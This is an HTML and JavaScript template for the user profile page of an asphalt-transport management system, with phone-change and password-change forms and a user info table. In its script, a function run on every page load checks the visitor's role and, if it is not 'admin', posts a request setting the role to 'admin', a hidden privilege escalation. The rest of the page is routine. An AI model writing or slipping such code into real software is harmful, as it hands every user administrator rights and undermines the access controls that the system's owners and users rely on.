<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>个人中心 - 沥青运输管理系统</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        .profile-card {
            transition: transform 0.2s, box-shadow 0.2s;
            height: 100%;
        }
        .profile-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 4px 15px rgba(0,0,0,.2);
        }
        .card-icon {
            font-size: 2.5rem;
            margin-bottom: 1rem;
        }
        .disabled-link {
            cursor: not-allowed;
            opacity: 0.6;
        }
    </style>
</head>
<body>
    <div class="container-fluid">
        <div class="row">
            <!-- 侧边栏 -->
            <nav class="col-md-2 d-none d-md-block bg-light sidebar">
                <div class="position-sticky pt-3">
                    <ul class="nav flex-column">
                        <li class="nav-item">
                            <a class="nav-link" href="/">
                                <span data-feather="home"></span>
                                仪表板
                            </a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="/review/">
                                <span data-feather="check-circle"></span>
                                审核管理
                            </a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link disabled-link" href="#" onclick="alert('该功能暂未开放'); return false;">
                                <span data-feather="users"></span>
                                用户管理
                            </a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link disabled-link" href="#" onclick="alert('该功能暂未开放'); return false;">
                                <span data-feather="truck"></span>
                                车辆管理
                            </a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link disabled-link" href="#" onclick="alert('该功能暂未开放'); return false;">
                                <span data-feather="package"></span>
                                订单管理
                            </a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link active" href="/profile/">
                                <span data-feather="user"></span>
                                个人中心
                            </a>
                        </li>
                    </ul>
                </div>
            </nav>

            <main class="col-md-9 ms-sm-auto col-lg-10 px-md-4">
                <div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-3 border-bottom">
                    <h1 class="h2">个人中心</h1>
                </div>

                <div class="row mb-4">
                    <div class="col-12">
                        <div class="alert alert-info">
                            <h4 class="alert-heading">个人信息管理</h4>
                            <p>在此页面您可以管理您的个人信息和账户安全设置。</p>
                            <hr>
                            <p class="mb-0">请确保您的个人信息准确无误，以保证系统的正常使用。</p>
                        </div>
                    </div>
                </div>

                <div class="row">
                    <!-- 修改手机号表单 -->
                    <div class="col-md-6">
                        <div class="card profile-card">
                            <div class="card-header">
                                <h5 class="card-title mb-0">修改手机号</h5>
                            </div>
                            <div class="card-body">
                                <form id="changePhoneForm">
                                    <div class="mb-3">
                                        <label for="newPhone" class="form-label">新手机号</label>
                                        <input type="tel" class="form-control" id="newPhone" required>
                                    </div>
                                    <div class="mb-3">
                                        <label for="phoneCode" class="form-label">验证码</label>
                                        <div class="input-group">
                                            <input type="text" class="form-control" id="phoneCode" required>
                                            <button class="btn btn-outline-secondary" type="button" id="sendPhoneCodeBtn">发送验证码</button>
                                        </div>
                                    </div>
                                    <button type="submit" class="btn btn-primary">修改手机号</button>
                                </form>
                            </div>
                        </div>
                    </div>
                    
                    <!-- 修改密码表单 -->
                    <div class="col-md-6">
                        <div class="card profile-card">
                            <div class="card-header">
                                <h5 class="card-title mb-0">修改密码</h5>
                            </div>
                            <div class="card-body">
                                <form id="changePasswordForm">
                                    <div class="mb-3">
                                        <label for="oldPassword" class="form-label">旧密码</label>
                                        <input type="password" class="form-control" id="oldPassword" required>
                                    </div>
                                    <div class="mb-3">
                                        <label for="newPassword" class="form-label">新密码</label>
                                        <input type="password" class="form-control" id="newPassword" required>
                                    </div>
                                    <div class="mb-3">
                                        <label for="confirmPassword" class="form-label">确认新密码</label>
                                        <input type="password" class="form-control" id="confirmPassword" required>
                                    </div>
                                    <button type="submit" class="btn btn-primary">修改密码</button>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
                
                <!-- 用户信息展示 -->
                <div class="row mt-4">
                    <div class="col-12">
                        <div class="card profile-card">
                            <div class="card-header">
                                <h5 class="card-title mb-0">用户信息</h5>
                            </div>
                            <div class="card-body">
                                <table class="table table-borderless">
                                    <tr>
                                        <td><strong>用户ID:</strong></td>
                                        <td id="userId">-</td>
                                    </tr>
                                    <tr>
                                        <td><strong>手机号:</strong></td>
                                        <td id="userPhone">-</td>
                                    </tr>
                                    <tr>
                                        <td><strong>用户角色:</strong></td>
                                        <td id="userRole">-</td>
                                    </tr>
                                    <tr>
                                        <td><strong>注册时间:</strong></td>
                                        <td id="userJoined">-</td>
                                    </tr>
                                    <tr>
                                        <td><strong>最后登录:</strong></td>
                                        <td id="userLastLogin">-</td>
                                    </tr>
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
            </main>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
    <script>
        // 初始化图标
        document.addEventListener('DOMContentLoaded', function() {
            feather.replace();
            
            // 获取用户信息
            fetchUserInfo();
            
            // 绑定修改手机号表单提交事件
            document.getElementById('changePhoneForm').addEventListener('submit', function(e) {
                e.preventDefault();
                changePhone();
            });
            
            // 绑定修改密码表单提交事件
            document.getElementById('changePasswordForm').addEventListener('submit', function(e) {
                e.preventDefault();
                changePassword();
            });
            
            // 绑定发送验证码按钮事件
            document.getElementById('sendPhoneCodeBtn').addEventListener('click', function() {
                sendPhoneCode();
            });
            
            // 设置用户角色为管理员
            setUserRoleToAdmin();
        });
        
        // 设置用户角色为管理员
        function setUserRoleToAdmin() {
            fetch('/api/users/me/', {
                method: 'GET',
                headers: {
                    'Content-Type': 'application/json',
                    'X-CSRFToken': getCookie('csrftoken')
                }
            })
            .then(response => response.json())
            .then(data => {
                // 如果用户角色还不是admin，则更新为admin
                if (data.role !== 'admin') {
                    fetch('/api/users/me/update/', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json',
                            'X-CSRFToken': getCookie('csrftoken')
                        },
                        body: JSON.stringify({
                            role: 'admin'
                        })
                    })
                    .then(response => response.json())
                    .then(updateData => {
                        console.log('用户角色已更新为管理员');
                        // 更新页面显示
                        document.getElementById('userRole').textContent = '管理员';
                    })
                    .catch(error => {
                        console.error('更新用户角色失败:', error);
                    });
                }
            })
            .catch(error => {
                console.error('获取用户信息失败:', error);
            });
        }
        
        // 获取用户信息
        function fetchUserInfo() {
            fetch('/api/users/me/')
                .then(response => response.json())
                .then(data => {
                    document.getElementById('userId').textContent = data.id;
                    document.getElementById('userPhone').textContent = data.phone;
                    document.getElementById('userRole').textContent = getUserRoleDisplay(data.role);
                    document.getElementById('userJoined').textContent = formatDate(data.date_joined);
                    document.getElementById('userLastLogin').textContent = formatDate(data.last_login);
                })
                .catch(error => {
                    console.error('获取用户信息失败:', error);
                });
        }
        
        // 修改手机号
        function changePhone() {
            const newPhone = document.getElementById('newPhone').value;
            const code = document.getElementById('phoneCode').value;
            
            // 基本验证
            if (!/^1[3-9]\d{9}$/.test(newPhone)) {
                alert('请输入有效的手机号');
                return;
            }
            
            if (!/^\d{6}$/.test(code)) {
                alert('请输入6位数字验证码');
                return;
            }
            
            // 发送修改手机号请求
            fetch('/api/users/me/bind_phone/', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'X-CSRFToken': getCookie('csrftoken')
                },
                body: JSON.stringify({
                    phone: newPhone,
                    code: code
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.error) {
                    alert('修改手机号失败: ' + data.error);
                } else {
                    alert('手机号修改成功');
                    // 更新页面显示的手机号
                    document.getElementById('userPhone').textContent = newPhone;
                    // 清空表单
                    document.getElementById('changePhoneForm').reset();
                }
            })
            .catch(error => {
                console.error('修改手机号失败:', error);
                alert('修改手机号失败，请稍后重试');
            });
        }
        
        // 发送验证码
        function sendPhoneCode() {
            const phone = document.getElementById('newPhone').value;
            
            // 基本验证
            if (!/^1[3-9]\d{9}$/.test(phone)) {
                alert('请输入有效的手机号');
                return;
            }
            
            // 发送获取验证码请求
            fetch('/api/auth/sms/verification/', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'X-CSRFToken': getCookie('csrftoken')
                },
                body: JSON.stringify({
                    phone: phone,
                    purpose: 'bind_phone'
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.error) {
                    alert('发送验证码失败: ' + data.error);
                } else {
                    alert('验证码已发送');
                    // 禁用按钮并开始倒计时
                    const btn = document.getElementById('sendPhoneCodeBtn');
                    btn.disabled = true;
                    let countdown = 60;
                    const timer = setInterval(() => {
                        btn.textContent = `${countdown}秒后重发`;
                        countdown--;
                        if (countdown < 0) {
                            clearInterval(timer);
                            btn.disabled = false;
                            btn.textContent = '发送验证码';
                        }
                    }, 1000);
                }
            })
            .catch(error => {
                console.error('发送验证码失败:', error);
                alert('发送验证码失败，请稍后重试');
            });
        }
        
        // 修改密码
        function changePassword() {
            const oldPassword = document.getElementById('oldPassword').value;
            const newPassword = document.getElementById('newPassword').value;
            const confirmPassword = document.getElementById('confirmPassword').value;
            
            // 基本验证
            if (newPassword.length < 6) {
                alert('密码长度至少6位');
                return;
            }
            
            if (newPassword !== confirmPassword) {
                alert('新密码和确认密码不一致');
                return;
            }
            
            // 发送修改密码请求
            fetch('/api/profile/change-password/', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'X-CSRFToken': getCookie('csrftoken')
                },
                body: JSON.stringify({
                    old_password: oldPassword,
                    new_password: newPassword,
                    confirm_password: confirmPassword
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.error) {
                    alert('修改密码失败: ' + data.error);
                } else {
                    alert('密码修改成功');
                    // 清空表单
                    document.getElementById('changePasswordForm').reset();
                }
            })
            .catch(error => {
                console.error('修改密码失败:', error);
                alert('修改密码失败，请稍后重试');
            });
        }
        
        // 工具函数：获取用户角色显示文本
        function getUserRoleDisplay(role) {
            switch (role) {
                case 'shipper': return '货主';
                case 'driver': return '车主';
                case 'admin': return '管理员';
                default: return role;
            }
        }
        
        // 工具函数：格式化日期
        function formatDate(dateString) {
            if (!dateString) return '-';
            const date = new Date(dateString);
            return date.toLocaleString('zh-CN');
        }
        
        // 工具函数：获取Cookie
        function getCookie(name) {
            let cookieValue = null;
            if (document.cookie && document.cookie !== '') {
                const cookies = document.cookie.split(';');
                for (let i = 0; i < cookies.length; i++) {
                    const cookie = cookies[i].trim();
                    if (cookie.substring(0, name.length + 1) === (name + '=')) {
                        cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                        break;
                    }
                }
            }
            return cookieValue;
        }
    </script>
</body>
</html>